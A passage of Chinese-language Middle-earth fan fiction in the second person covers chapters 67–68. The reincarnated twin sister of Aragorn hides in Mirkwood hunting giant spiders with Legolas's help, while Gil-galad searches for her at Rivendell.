据你所知现在诺多精灵王室的第一家族还有第二家族的后代大部分都已经回到维林诺,只剩下一部分精灵不舍得在中土建立的家园因此暂时没有选择西渡,估计索伦也是察觉到了这一点所以才一点一点地显露出自己的野心,听说当初在他通过魔戒控制精灵的阴谋败露以后曾被精灵讨伐,但他实在是狡猾,逃过了来自精灵的讨伐,在那以后他就学乖了,至少不会在明面上对精灵动手,只会对人类还有矮人下手。 几千年过去,精灵逐渐感受到了属于他们的纪元即将过去,他们也不再如同最初那样对这个世界充满探索欲,他们习惯于在自己的领地上生活,除了与精灵有些渊源的精灵,人类与精灵之间的关系可以用淡薄来形容,这也是为什么索伦会无所顾虑地对人类下手,因为精灵会考虑许多,例如一场战争的伤亡对于精灵来说很可能会伤及元气。 综上所述,索伦就是身处了个好时代,他的主人魔苟斯就没他这样的好运气了,但凡把索伦放在第一纪元,就凭他现在的所作所为,估计会被那群诺多精灵打得直接魂归曼督斯殿堂。 想到这里你有些后悔自己当初居然没有直接杀了索伦,毕竟他曾经是你的阶下囚来着,现在懊悔这些已经来不及了,放眼未来十年,你估计都得要隐姓埋名地生活,说好听点就是韬光养晦,积攒实力。 “不……其他的我就没什么想要的了。”你说。 陶瑞尔弯腰摸了摸你的脑袋,她记得你刚刚来密林的时候才到她大腿那里,现在你又长高了许多,她看向你的眼神里带着几分怜惜,“那好吧,如果以后有什么想要的也可以和我说。” “除了宝剑,我还想要一把新的弓箭。”你现在训练用的是莉迪亚为你做的弓箭,也不是说不好,而是她制作弓箭的材料更轻一些,在你的印象里真正的弓箭是很有分量的。 “就算你不说我也会为你带一把新的弓箭过来的。”陶瑞尔说。 说完这些她直起身,提着篮子离开这里,她走出几步路就又回过头,果不其然地瞧见你站在门口,就又对你挥挥手,回到宫殿里的陶瑞尔心情肉眼可见的不错,她和刚刚训练回来的精灵王子莱戈拉斯打了个照面,莱戈拉斯问道:“发生了什么吗?” “什么?你为什么这么说?”陶瑞尔和莱戈拉斯关系很亲近,他们从小一起长大,说是手足也不为过,因此在私下的时候陶瑞尔都不对莱戈拉斯使用敬称。 “因为你看上去好像很高兴的样子。”说着,莱戈拉斯点了点自己的脸颊,陶瑞尔的脸颊上满是笑容,“你好像每次从那里回来都会很高兴,那位人类客人就那么讨你的喜欢吗?” 他对你有些好奇,不过这种好奇还不足以打破瑟兰迪尔立下的规定,他的父亲,那位精灵王告诉密林的其他精灵,你只是在这里暂住一段时间的客人,除了负责照顾你的精灵,其他精灵都不能靠近你的住所。 密林的精灵都将瑟兰迪尔说的话谨记于心,就连莱戈拉斯也不例外,但他总归还是有好奇心的。 “嗯,她是一个坚强又友善的孩子。”陶瑞尔说。 莱戈拉斯应了一声,除了从陶瑞尔嘴里得到的消息,他对你的了解少之又少,但莱戈拉斯很快就将这件事情抛到脑后,可并非所有的精灵都能像莱戈拉斯那样将事情随意地抛在脑后的,当你在密林过上隐姓埋名的生活时,远在幽谷的 阿拉贡也在养父埃尔隆德的教导下逐渐成长起来,只是与你的离别如同一道阴影始终笼罩在他的心头,自那以后他很少再露出笑容。 养父埃尔隆德也早已听闻他与你的故事,一对双生子,因为种种原因,最后迫不得已生离死别,一如他与双生子兄弟埃尔洛斯的命运,埃尔隆德在感叹命运的相似性的同时也时常开解阿拉贡,今天在课程结束后他照例询问阿拉贡在幽谷过得怎么样,虽说他已经来这里有两三年了,但这段时间对于精灵来说不过是眨眼间的事情。 埃尔隆德甚至还能清楚地回忆起阿拉贡刚刚来到幽谷时的画面,他和母亲吉尔蕾恩在残存的护卫队的保护下抵达幽谷,幽谷的主人第一眼看见的是站在母亲身边的黑发孩子,浅蓝色的眼瞳中流露出哀伤的情绪,那时的他才失去你没多久,仍然被悲痛缠绕。 阿拉贡的身上有着他的弟弟埃尔洛斯的影子,尤其是抿起嘴唇不说话的样子,简直就像是小时候的埃尔洛斯,有着一副倔强的脾气。 “你在幽谷的生活感觉如何?”埃尔隆德坐在椅子上温和地询问阿拉贡。 “很好,这里的精灵都很友好,而且您也教会了我很多东西,我很喜欢这里……”说着说着,阿拉贡的声音逐渐变得微弱,因为他不可避免地想到了你,想到如果你也能和他一同到达幽谷的话,你肯定会喜欢这里的,尤其是埃尔隆德的藏书库,他都能想象出你成天待在藏书库里的画面,再次开口,他的声音变得哽咽,“我想她应该也会喜欢这里的。” 埃尔隆德能够理解阿拉贡的感受,双生子只见本就存在着心灵感应,他想起当初选择成为人类的埃尔洛斯离世的时候,即便还没收到来自努曼诺尔的消息,他却感知到了,那份沉重的哀恸。 因此埃尔隆德说:“我知道这对你来说是一道永远无法弥合的伤口,但是如果换做是她,或许她也会希望你能够好好生活下去的。” 埃尔隆德原以为阿拉贡会落泪的,但是并没有,他坚定地说:“我不觉得她已经死去了,她还没有死,不,她不会死的。” “我会……找到她的。”阿拉贡一字一顿地说。 还没等埃尔隆德要说些什么,林迪尔就敲响书房的门,说:“有来自纳国斯隆德的客人。” 来自纳国斯隆德的客人……?埃尔隆德起身,走到书房外,他和林迪尔交换了一个眼神,后者说:“是吉尔-加拉德大人。” 这就让埃尔隆德更加疑惑了,因为平日里其实他们幽谷的精灵和纳国斯隆德的来往并不频繁,虽然如果硬要说的话埃尔隆德确实和纳国斯隆德沾亲带故,但也仅此而已,他的女儿以及妻子的母亲都定居在洛丝罗瑞恩,相较之下幽谷和洛丝罗瑞恩的往来更多。 想了想,哪怕是被称为智者的埃尔隆德也没猜到吉尔-加拉德来这里的原因,但他还是离开书房前去迎接这位亲族,临走前他还不忘对阿拉贡说:“现在课程结束了,接下来都是你的自由活动时间。” 但阿拉贡没有选择玩耍而是跟在埃尔隆德身边一同去迎接那位吉尔-加拉德。 他们穿过一条又一条的长廊,一直到大厅,吉尔-加拉德还有他的手下正站在大厅内,听到不远处传来的脚步声,为首的精灵抬头看去,确认来者就是这个幽谷的领主埃尔隆德,便对着他微微俯身行礼,“埃尔隆德大人,请原谅我的不请自来。” 埃尔隆德说:“不,我又为何要苛责远道而来的客人呢?”而且无论怎么说他们也都是亲族。 很快埃尔隆德就知道了吉尔-加拉德的来意,他是为了阿拉贡而来的,至于具体情况,就连埃尔隆德也不清楚,因为吉尔-加拉德与阿拉贡的对话是单独进行的,他们在偏厅进行这场对话。 就连阿拉贡也没想到这位精灵是为了他而来的,他在坐下以后就问:“您为什么要找到我呢?” 吉尔-加拉德说:“准确来说我是希望你能回答我一些问题。” 阿拉贡看向对方,他虽然表情温和,但是眼底却蒙着一层隐约的焦虑,就好像是在担心什么,但他仍然维持着笑容,“放心吧,如果这些问题会让你为难的话你也可以选择不回答。” 话虽然是这么说的,但阿拉贡的直觉告诉他如果拒绝回答的话,眼前这个精灵那根紧绷的弦或许会就此绷断,他说:“那您又想问我什么?” “我之前收到过一封来自你的家乡的信件,但是没有留下署名,我想问问你是否认识这个字迹。”说着,吉尔-加拉德拿出那封信,他保存得很好,甚至于就连信封上原本存在的褶皱也被他一点一点地抚平。 他小心翼翼地抽出信纸,然后展开,阿拉贡只看了一眼就想起那个夜晚,你在书房伏案写信的画面,他的声音僵住,“这个……” “你认识这个笔迹?” “嗯……那是我妹妹的笔迹,她当初向多尔罗明还有纳国斯隆德写了信,可是到最后都没等来帮助。” 第67章 第67章“她对我意义非凡。”…… 听到这里,吉尔-加拉德当即就问:“那你的妹妹,她现在又在哪里呢?” 非常急促地打断阿拉贡的对话,与他先前所展示的礼仪得体的形象相差甚远,就像是变了另外一副模样,阿拉贡被他突如其来的转变吓到了,他说:“她……我们在逃亡的时候不幸与她分开了,但是,我相信她还活着。” 无论是阿拉贡也好,吉尔-加拉德也好,他们都在否认你的死亡,前者希望能够将你找回来,而吉尔-加拉德又何尝不是那么想的呢? “不过,您是因为这件事情才过来的吗?那我得要遗憾地告诉您,她不在幽谷,甚至于她现在身处何方我也不知道。” 坐在吉尔-加拉德对面的阿拉贡将对方的神色变化看得一清二楚,起初听到那封信是你写的时候的欣喜,听闻你失踪后凶多吉少的担忧,最后他的表情定格为勉强的微笑,他说:“是么……但无论怎么说我都应该谢谢你告诉我这些。” 阿拉贡都要以为这场对话就要结束了,但这一次他的直觉出现错误,他非但没有要结束对话的意思,甚至还主动提起其他的话题,当然都是与你有关的话题,比如说询问阿拉贡你小时候的事情,他放低自己的姿态几乎是以恳请的语气对阿拉贡说:“你能和我说说她以前的事情吗?” 原本阿拉贡不想说这些的,因为提起这些无异于是在提起他的伤心事,他对于你的过往记得清清楚楚,你的口味喜好,还有你的小习惯他都知道,他说你以前喜欢偷偷溜出城堡去外头的集市,你曾经带他去过一次,那是他最难忘的回忆。 说着说着,阿拉贡的声音逐渐变得微弱,他停顿片刻,“她的人生本该被幸福与喜悦环绕的。” 吉尔-加拉德能够通过阿拉贡说的话语想象出你待在城堡的藏书室看书的样子,那画面安静美好,你习惯取出许多本相同类别的书籍摆在一边,然后一本一本地看过去,偶尔还会抬起头看向窗外,看向远处的天空。 拥有上一世记忆的你为什么没有从一开始就写信给他呢?他陷入沉思,是因为不想让他发现你的存在吗?他的脑海里浮现出很多疑问,而这些问题的答案他又无从而知,你那么做肯定有自己的道理,但不可否认的,你确实在避免与他接触。 人类的爱会随着时间流逝还有转生随之变淡吗?也许在你看来他只是一位前世记忆中重要的精灵吗? 阿拉贡抬头再次看向吉尔-加拉德,对方眉头紧蹙,他说:“您为 什么要问这些问题呢?” 吉尔-加拉德直言不讳,“她对我来说是很重要的人,她——”他斟酌着用词,现在他也不能确认你是否还记得你们曾经相爱过的事情,如果你不记得了呢?他又该怎么办呢?难道他要因为曾经的爱情与婚姻来要求你这一次也要同样忠诚于一份感情吗? 不,他想他不会那么做的。 无论什么时候的,他都将尊重你的意愿。 因此到最后吉尔-加拉德也只是干巴巴地说:“她对我意义非凡。” 阿拉贡想不明白你又是什么时候与远在纳国斯隆德的精灵有交情的,更想不通对方还会专程为了你来到幽谷,尽管他扑了个空。 在此之后吉尔-加拉德就离开了偏厅,也许是去找埃尔隆德了,具体去了哪里阿拉贡也不清楚,当天晚上埃尔隆德为了欢迎远道而来的亲族举办了一场宴会,席间吉尔-加拉德身处宴会的感觉,当其他精灵都在享受宴会的时候他却询问埃尔隆德,“你是否曾见到过她的命运?” 埃尔隆德虽然没有仔细问但也知道他询问的是谁,正是你,同时也是阿拉贡的双生子妹妹,他说:“没有,她的命运是一团迷雾,我什么也看不清。”而且如果真的要询问关于未来的事情,那他也应该询问洛丝罗瑞恩的加拉德瑞尔夫人才对,那位精灵更加擅长占卜。 “这样么……”吉尔-加拉德轻轻地说。 埃尔隆德看向身边的吉尔-加拉德,后者若有所思,他的心思显然不在这场宴会上。 与此同时大陆的另外一处也在举办宴会,密林精灵举办的宴会就比幽谷的宴会随性多了,而且精灵王瑟兰迪尔也会与子民一同享受宴会,这里说的享受指的就是消耗很多美酒,密林的一大开支就是购买美酒,虽然他们也会自己酿酒,但是自己酿的酒产量跟不上消耗的速度,所以他们就只能退而求其次地选择靠近这里的河谷邦出产的葡萄酒当做替代品。 说了这么多只是想要表明密林的精灵都喜好美酒,而且酒量海量。 宴会的动静很大,哪怕在宫殿外的你和莉迪亚都听见了那音乐声,莉迪亚瞧见你站在窗边看向远方的精灵宫殿还以为你被那动静吵到了,就说:“您被吵到了吗?” 你摇了摇头,“没有。” 你只是觉得密林的精灵和你接触过的诺多精灵可真不一样,尤其是性格方面。 莉迪亚走到你身边,“或许我们可以趁着精灵王高兴的时候请求他护送您去往幽谷,这样您就能和母亲还有兄长见面了。”她还以为你是在怀念家人,那她就是误解了你的意思,而且现在离开密林,就算有精灵保护,保不齐索伦还在寻找你呢,你可不想那么快就暴露了。 总之出于种种考虑,你还是决定在这里多待一会,至少等你拥有自保能力以后再动身前往幽谷也不迟。 “不,他能够收留我们在这里就已经是对我们的怜悯了,我们又怎么能再奢求什么呢?而且护送我们前往幽谷很可能会造成那些精灵士兵的死亡,瑟兰迪尔重视自己子民的生命,他不会拿他们的生命冒险的。” 你理性地分析现在的情况,这些道理莉迪亚都懂但是她看向你的眼神里还是带着几分同情,你抬起头,“莉迪亚你觉得我很可怜吗?但是我还好好地活着,既没有被座狼杀死,也没有被半兽人俘虏,我们越过草原和山脉来到这里寻求庇护,成功说服精灵王帮助我们,所以我觉得——”你对着莉迪亚缓慢地眨了一下眼睛,“我根本不需要别人的同情,我还有你,我们都已经尽其所能地将糟糕的情况扭转,我们值得拥有夸赞,而不是同情。” 越是和你相处莉迪亚就越能够发现你的成熟,她以前只是听说你心智成熟,现在接触下来,她愈发感知到你内心的坚韧不拔。 “我……”莉迪亚一时之间都不知道该说些什么好。 你拍了拍她的肩膀,“所以这个时候应该说的是‘你做得很好’这样就足够了。” 被你这样夸奖的莉迪亚愣了愣,“这是我本来就应该做的事情。” 你从她身边走开,回到自己二楼的房间,伴着从宴会现场飘出来的悠扬音乐声沉沉睡去,隔天早上醒来你又按照往常那样训练。 你的日子就在这样的循环往复中度过,如果从精灵的角度来看,那就是眨眼间,你这位小客人就已经长大成人,你手中用作练习的宝剑也换了一把又一把,你举起的弓箭也终于变回到你上辈子使用过的样子,那手感沉甸甸的。 这天你照例早起去练习射箭,但为了更好的训练环境(其实你就是想要挑战自我),你朝着密林深处走去,你离自己的住所越来越远,距离危险越来越近,但你丝毫没有要停下的意思,甚至还加快脚步,脚步轻盈地飞奔穿所在树林间,最后在一块平地停下,你站在原地一动不动,保持安静捕捉周围传来的动静。 忽然之间—— 你听到不远处传来的沙沙声,你立马转过身,给那只躲在树林里的蜘蛛来了一箭,箭矢直挺挺地穿过蜘蛛的脑袋,它挣扎了没两下就不再动弹,自从你前不久在森林里偶遇这些蜘蛛以后你就顺理成章地把它们当成你的训练对象,它们虽然看起来长相丑陋,但胜在爬行速度快,而且它们的腿以及口器都沾染着毒液,那些毒液不会让猎物马上死去,但是能够麻。痹猎物的知觉,让猎物始终保持新鲜的状态。 你的敏捷度也在与这些蜘蛛的搏斗中飞速提升,现在你哪怕孤身一人也能解决掉十只以内的蜘蛛,当然关于你专门猎杀蜘蛛这件事情你从来都没和其他人或者是精灵说过,莉迪亚不知道,陶瑞尔更不知道。 但你那么做其实也是钻了空子的,因为瑟兰迪尔当初只是说不让你和其他精灵接触而已,而你现在接触的是蜘蛛,而且你那么做也是在为密林解决祸害,所以无论怎么看,就算精灵王瑟兰迪尔真的发现了这回事,他其实也找不到理由来苛责你,这就是你能够那么有底气猎杀蜘蛛的原因。 最后一只蜘蛛生命力顽强,虽然被你用弓箭射穿脑袋但那几条腿还在不停乱动,你索性抽出腰间的宝剑把它的那几条腿统统砍断,这下子总算是清静了,但还没等你松一口气,你就又听到远方传来的动静,这声响很微弱,如果不是你时刻保持警惕,说不定你就漏掉了这细微的动静。 那是从南面来的,但是从动静来判断,你总觉得那似乎不是蜘蛛,而更像是……还没等你猜到正确答案,对方已经来到你面前,并且用拉开的弓箭对准你,箭簇泛着锐利的寒光,他一脸严肃,“你又是谁?” 从他的金色长发还有蓝色眼眸,以及那独特的气质,你大概猜到对方就是瑟兰迪尔的儿子,也是这片密林的精灵王子,你应该是听陶瑞尔说起过他的名字的,叫什么来着……嗯,应该是莱戈拉斯? 没错,就是莱戈拉斯。 你放下手中的武器,举起双手表示自己没有恶意,你说:“回殿下,我是在这里暂住的人类,我想您的父亲应该有说过密林的宫殿外还居住着两位人类。”你的态度不卑不亢,并且适当表达对 精灵王瑟兰迪尔的感谢,这样说话总归是不会出错的。 “我可没见过你,你又是怎么知道我的身份的?”莱戈拉斯不解地问道。 你坦言,“您和您的父亲很像,举手投足之间有着不凡的气质。” 但很可惜,你这一番话这次没有获得理想的效果,甚至起到了反作用,因为这位精灵王子正值叛逆期尤其和他的父亲不对付,因此被你夸奖与父亲相似,他反而冷哼一声,“你还是收起这些恭维的话语吧,我可不吃这一套。” 嗯?怎么他看上去反而更加不耐烦了呢?是哪里出错了吗?你不由地陷入沉思,但还是从善如流地道歉,“那实在是抱歉,我收回我之前说的话,就当我什么都没说过吧。” “他当初收留你们就有要求你帮忙解决蜘蛛吗?”莱戈拉斯又问道。 “没有,但是我看到这密林里经常出现的蜘蛛就想着为密林尽一份力,如果您觉得这不妥的话,就请告诉您的父亲让他处罚我吧。”说着你便低下头,露出一副认错的姿态,但莱戈拉斯总觉得你压根没有要认错的意思,甚至还很理直气壮,你清楚地知道他不会去告密的,尤其是告诉他的父亲。 莱戈拉斯又想起陶瑞尔对你的赞美话语,在她的形容中你简直就是她遇到过最优秀的人类,她对你的喜爱溢于言表,每天给你送去三餐她的心情肉眼可见地变得愉快放松,这不免让莱戈拉斯对你更加好奇,如今在机缘巧合之下他与你见了面,如果要他来形容的话,你就是一个聪明狡猾的人类,要说多真诚,那他可看不出来。 “你明明知道我不会告诉他的,又为什么还要这么说呢?我看你就是故意想要为难我吧?”莱戈拉斯一针见血地说。 第68章 第68章“你又在调侃我?”…… 这位精灵王子实在是真性情,和你以前见过的精灵王子都不太一样,你说:“我不知道为什么会让您产生这样的想法,但我的出发点并不是想要让您为难。” 莱戈拉斯又说:“好了,今天的事情就当做什么都没有发生。” 话虽然是这么说的,但在他快要走的时候你又突然出声,“我不太明白您的意思,您是希望我把猎杀蜘蛛的事情当做没发生过还是把遇到您的事情装作没发生过呢?” 这位精灵王子也没想到你还会冒出这样的问题,他说:“两者都有,总之,什么都没有发生。” 后来莱戈拉斯又亲自送你回到那栋小楼,他以前站在宫殿的最高点环视整片密林的时候偶尔还能瞥见你和莉迪亚居住的小楼,偶尔,只是偶尔,他也会驻足观察这楼小楼,但他一次也没见到你,你就好像是算准了此刻的他正在宫殿的高台上眺望你的住所一样,因此这也是他第一次见到你。 见你走到小楼的屋檐下,他没有多说什么就转身离开,你站在原地目送莱戈拉斯离去的背影,不多时,他的身影就消失在森林后,他前脚刚走,后脚莉迪亚就从门口走出来,她刚才在楼上给你整理床铺,听见门口的动静就知道是你回来了,但是她一下楼又捕捉到莱戈拉斯的影子,她说:“刚才是陶瑞尔来过了吗?” 你手里还拿着弓箭,你回过头,“不,是另外一个精灵。”你如实回答。 “不是陶瑞尔?”莉迪亚走到门口朝着远方看去,但是此刻莱戈拉斯早已走得无影无踪,她什么都没看到,虽然她还有些疑惑,但看你的样子也能推测出那位精灵应该也是一位好相处的精灵吧,她就又说:“洗澡水已经准备好了,您需要沐浴吗?” 你走到屋内,把弓箭挂在墙上,“以后这种小事我自己来就好。”你之前就和莉迪亚说这些小事你可以自己完成的,但莉迪亚听后却表示这是她现在所能为你做的为数不多的事情了,毕竟你的剑术和箭术水平早已超越了她,早在你十二三岁的时候莉迪亚在观察你的某次训练后就对你说:“日后我没有什么可以指导您的了,您的水平远在我之上。” 在那以后她便专心照顾你的生活起居。 “如果我连这点小事都不能为您效劳的话,我会认为自己没有存在的意义了。”她当初从你父亲阿拉松那里得到的指令就是保护好他的孩子,现在你茁壮成长,但她的任务远没有完成。 唉,你知道自己的三言两语是没办法改变她的想法的,你只能叹一口气,对她露出一个笑容,“那日后还是得要继续麻烦你了。” 说完,你就踩着楼梯来到二楼的浴室内洗去身上的污渍,猎杀蜘蛛时溅出的粘液站在你的衣角,这些污渍很难清洗干净,这件衣服基本上算是报废了,你把它丢到一边,三步并作两步走到浴缸旁边然后将自己浸泡在洗澡水里。 与此同时另外一边的莱戈拉斯也回到了宫殿内,陶瑞尔见到他是从另外一个方向来的,而且还是她很熟悉的方向,难道他去过你的住所了吗?陶瑞尔忽然猜想到,她问:“怎么你今天是从另外一个方向来的呢?” 莱戈拉斯不自然地说:“我刚才在那里发现了蜘蛛。” 陶瑞尔瞬间紧张起来,你住所的附近有蜘蛛出没?那实在是太危险了,如果你和莉迪亚被蜘蛛围攻的话——陶瑞尔的脸色一下子就变了,莱戈拉斯也察觉到了这一点,他说:“那些蜘蛛都已经被解决了。” “是吗,那真是太好了。” 见陶瑞尔下意识地误认为是他杀死了那些蜘蛛,莱戈拉斯可没想抢你的功劳,他环视四周小声地解释道:“那些蜘蛛不是我杀死的。” 陶瑞尔更加疑惑了,莱戈拉斯顺势带着陶瑞尔去隐蔽角落里谈论这件事,看她的样子恐怕是还不知道你已经在暗中清剿蜘蛛了吧?这样看来你和她的关系似乎也没有她说的那么亲近,更像是她单方面的错觉。 “那又是谁杀死的呢?”陶瑞尔学着莱戈拉斯的样子也降低音量,几乎是用气音在说话,而后她就听见莱戈拉斯说:“是那位人类客人。”他含糊不清地回答,陶瑞尔脱口而出,“是亚玟做的?不过她为什么……但是,可这——”陶瑞尔愣是惊讶得没有说出一句完整的话来。 她还在思索莱戈拉斯是不是在开玩笑,但是再看一眼他的眼神,不像是开玩笑,她说:“所以你今天遇见了她?” 她一下子就问到了问题的关键点,那就是他今天与你见面了,按照瑟兰迪尔以前定下的规定,除了陶瑞尔,密林的其他精灵不能与你见面。 不过鉴于这阵子莱戈拉斯正在和父亲瑟兰迪尔闹矛盾,因此陶瑞尔又猜测道:“你是故意那么做的吗?”就为了惹陛下生气? 虽然她后半句话藏起来了没有明说,但是依照他们的熟悉程度,莱戈拉斯一下子就猜到了她想问什么,他说:“我为什么要故意那么做?这只是偶遇而已。”他也不会想到你身为人类居然还能亲手解决密林里的巨型蜘蛛。 “那你就放心吧,这件事情我是不会告诉其他精灵的,不过除了我你应该没有和别的精灵说过吧?”陶瑞尔很够意思地表示自己会保密的。 莱戈拉斯还在回忆你站在蜘蛛尸体上回过头看向他的画面,尽管你手中的宝剑沾染着蜘蛛的血液,那暗色血液顺着剑锋一滴一滴地落下,你的面色平静如水,平静冷淡的眼神扫向他,仿佛将他当成了敌人,那样的眼神不免让人感到战栗。 “没有,这件事情只有你知道。” 陶瑞尔点点头,“没关系,只要你之后不再和她见面我想陛下应该也不会发现的。” 听到这里,莱戈拉斯微妙地保持沉默,于是陶瑞尔又问了一句,“你听见我刚才说的话了吗?” “啊……听见了。”莱戈拉斯说。 这次偶遇的小插曲并没有给你的生活带来太大的改变,你每天还是按部就班地训练,休息,看书,每天听陶瑞 尔从外面带回来的消息。 其中大部分的消息都是和河谷邦有关,偶尔也会穿插着一些其他地方的消息,例如纳国斯隆德的领主上次还从密林旁边路过,这引起了密林精灵的注意,密林的西尔凡精灵很少和纳国斯隆德的精灵有往来,所以他们一时之间也想不通为什么这些诺多精灵会从密林附近路过。 当天负责巡逻的精灵里就有陶瑞尔,她尽职尽责地把这个消息上报给瑟兰迪尔,后者本来正在查阅这个季度的密林各项支出报表,听陶瑞尔提及“那些诺多精灵”的时候他就突然抬起头,挑起一边的眉毛,“那群诺多精灵?” “是的,从他们的旗帜来看,应该是从纳国斯隆德来的精灵。”陶瑞尔说出自己的猜测。 这下子瑟兰迪尔连文书都不看了,他沉吟片刻,他最关心的还是那群诺多精灵现在又在何方,在他的印象里诺多王室第三家族的精灵至少没有第一家族和第二家族那么难以捉摸,而且从血缘关系上来说,他们也并非纯粹的诺多精灵,他们的身体里也流淌着泰勒瑞精灵的血脉,所以如果真的要说的话,那么这些诺多精灵和瑟兰迪尔也确实存在着微乎其微的亲缘联系。 所以这让瑟兰迪尔更加好奇这群精灵特意来这里的原因了,他之所以会说是特意,那是因为如果他们要去洛丝罗瑞恩亦或是别的亲族那里,无论怎么绕路都不会绕到他的密林附近的。 “他们停留了很久吗?”瑟兰迪尔接着又这样询问陶瑞尔,陶瑞尔回忆了一下,然后回答:“并没有,他们只是短暂地停留休整一会就离开了。” 听到陶瑞尔那么说,瑟兰迪尔就更加疑惑了,所以他们来这里的目的到底是什么呢?仅仅只是路过吗? 这个问题最后也没有讨论出个所以然来。 而陶瑞尔转身就在与你见面给你送午餐的时候说起这件事,她的重点都在瑟兰迪尔纠结的时候眉毛都快打结了,她甚至还给你模仿了一下瑟兰迪尔当时的表情,别看陶瑞尔平常很严肃的样子,但实际上她私底下是个活泼开朗非常喜欢开玩笑的精灵。 但你的关注点不在瑟兰迪尔快要打结的眉毛上,你问的问题和瑟兰迪尔很相似,你问:“所以他们现在已经离开了对吗?” 陶瑞尔掰开山竹递给你,这些山竹还是从河谷邦贸易互通买来的,密林里都找不到这样的水果,她说:“现在应该已经离开了,好在他们应该没有什么恶意。” 确实没什么恶意,纳国斯隆德的精灵性格大多温和,就和他们的君主芬罗德一样。 至于他们来这里的原因,你也不是很确定,或许是仅仅只是路过?当然也有另外一种可能,那就是吉尔-加拉德正在寻找你。 他会那么做你也不奇怪,你当初给他寄去的那封信本来也没想着能够送到他的手上,你只是抱着试试的心态送出那封信,但很可惜,半兽人军队的攻势凶猛,根本没有给周边其他国家增援的机会,因此一直等到家园覆灭你也没能等来纳国斯隆德和多尔罗明的援助。 但你倒不至于因为这个而对他们心生怨恨,你真正应该憎恨的是索伦还有他的爪牙才对。 现在还没到和吉尔-加拉德相见的时候,在此之前你得先去幽谷一趟确认阿拉贡和你的母亲没事,然后就是商讨夺回家园的计划,这些事情都得一步一步来,急不来的。 见你没了声音,陶瑞尔就问:“怎么了?那些精灵你认识吗?” “嗯……我不清楚。”你给出模棱两可的回答,其实不和吉尔-加拉德见面还有另外一方面的原因,那就是你不擅长应付这种积攒了千百年的感情,毕竟你与他的爱情里利用占大部分,可他不一样,你可以肯定他的爱情是纯粹无暇的,与你那瑕疵斑斑的感情形成鲜明对比。 而且他的出现也会打乱你的计划,总之就是很麻烦,你还以为他在你死去不久以后就会心碎而死呢,你一没料到自己还会重来一世,二没料到他居然还坚守着答应你的誓言,他们这些精灵就是那么死脑筋的吗? “总之他们还算友善,所以你也不用太担心。”陶瑞尔还以为你是在担心密林的精灵和他们起冲突,那她真是大错特错了,但你只是顺着她的意思点点头,“嗯”了一声。 陶瑞尔又和你说了些有的没的,然后等你和莉迪亚用过午餐以后她就如往常一样提着篮子离开,到这里为止一切都还很平淡,直到你在森林里继续寻找蜘蛛猎杀的时候身边突然冒出一位不速之客,你在看清来者的身影后默默地把不速之客改为意外来客,那正是前些天偶然有过一面之缘的莱戈拉斯。 没等他开口,你就先说:“这次您也是被蜘蛛吸引过来的吗?”说这话时你笑盈盈的,但是你们身边别提蜘蛛了,就连蜘蛛的影子都没有,所以显而易见的,你这是在开玩笑,莱戈拉斯说:“我是恰好路过这里而已。” 你装作恍然大悟的样子,“原来这里也在您的巡逻范围内吗?” 莱戈拉斯虽然年轻,但不代表他听不出你的话语里调侃的意味,他说:“是的,这也是出于你和你的伙伴的安全考虑。” 虽然他的父亲瑟兰迪尔并没有下令把这一块也划到巡逻范围内,因为当初那几只蜘蛛都是被你的动静吸引过来的,而且平日里这也很少出现蜘蛛,上次的情形是千分之一的概率,但他没那么说,因为这就显得他出现在这里很刻意。 这么说来你应该还要感谢他才对,你说:“那我得要好好感谢您才行。” 不知怎么的,听到你那么说,莱戈拉斯总有种自己被你看穿的感觉,他心虚地移开视线,但他没忘记自己来这里的主要目的,“上次我看到你解决蜘蛛以后宝剑上还有很多粘液,我就在想你可能是处理的手法不太对。” 原来他专门找借口来见你就是为了指导你如何解决蜘蛛吗?那他还怪煞费苦心的,你顺着他的意思问道:“那应该用什么手法呢?” 莱戈拉斯还真一本正经地给你讲解杀死蜘蛛的正确方法,甚至说到后面还亲自上手给你演示,他绝对是一位合格的老师,说完理论上的知识,他又说:“接下来就随便找几只蜘蛛试试手吧。”他这话说得杀蜘蛛就跟杀鱼一样轻轻松松毫不费力,或许对于密林的精灵来说确实是这样的。 你尝试着提醒莱戈拉斯,“据我所知,我不能离开住所太远,而且这要是被您的父亲发现了,恐怕后果不堪设想。” 但实际上瑟兰迪尔对你这些行为这都是睁一只眼闭一只眼的,毕竟经过长时间的考察,他可以确定你对密林没有威胁,而且日后如果你继承你父亲阿拉松的领土,想必你也会因为这份恩情而对密林多加感谢的,所以瑟兰迪尔现在对你的态度也变得软化。 至于莱戈拉斯,他简直和年轻时期的瑟兰迪尔如出一辙,都充满反叛精神,他说:“就算他真的发现了,你也是在为密林做贡献,他又为什么要责怪你呢?”据他所知他的父亲只是面冷而已,内心远没有他外表展示的那样冷漠。 他这话你怎么越听越熟悉呢?噢,你想起来了,你先前就和他说过类似的话,他倒是活学活用,直接为他所用。 你走到他面前,今天的阳光灿烂,但是再怎么灿烂的阳光撒向密林都会被那参天古木一层一层地稀释,最后落在你们身上的阳光就变得些许黯淡,你身上还穿着陶瑞尔为你制作的战斗服,色调还有款式都和莱戈拉斯身上的衣服差不多。 密林的精灵基本上都是这个穿衣风格,唯一穿着华丽一些的大概就是精灵王了吧,你还记得自己初次见到瑟兰迪尔的时候他身上穿着的银白色长袍,那不仅仅是普通的长袍,伴随着他的走动,长袍上的暗纹也随之浮现,若隐若现的。 莱戈拉斯倒是没有继承父亲瑟兰迪尔的服装审美,也许是因为这个时期的他不希望和自己的父亲扯上关系 ,尽可能地想要显示自己的独立性,真没想到精灵也会存在叛逆期,你记忆中的吉尔-加拉德可不存在叛逆期这一说,从他少年时代开始就可以用稳重来形容。 你无意识地将莱戈拉斯和吉尔-加拉德进行对比,等你意识到这一点后你就又回过神来,你说:“那我们要先去哪个方向呢?” “那就……先去往东面吧。”莱戈拉斯因为你突然的靠近而感觉到不自然,他指了个方向,此时还在东面密林里自由自在活动的巨型蜘蛛不知道危险即将靠近,等它们意识到的时候已经太晚了,你和莱戈拉斯虽然之前都没有合作过,但在遇到蜘蛛以后就自然而然地分工配合,将后背交给对方。 拉开弓箭,箭矢划破空气飞了出去,正中蜘蛛的脑袋中央,在莱戈拉斯的指导下你这次猎杀蜘蛛的动作快准狠,而且蜘蛛的血液也不会像以前那样到处溅开。 不得不说在猎杀蜘蛛上莱戈拉斯确实是个专家。 三下五除二的功夫,你们就把这群本来还在进餐的蜘蛛统统解决,而且还没有弄脏自己的衣服,只是稍微沾染了一些尘土而已,你一手拿着弓箭一手拍了拍衣角,掸去上面的尘土。 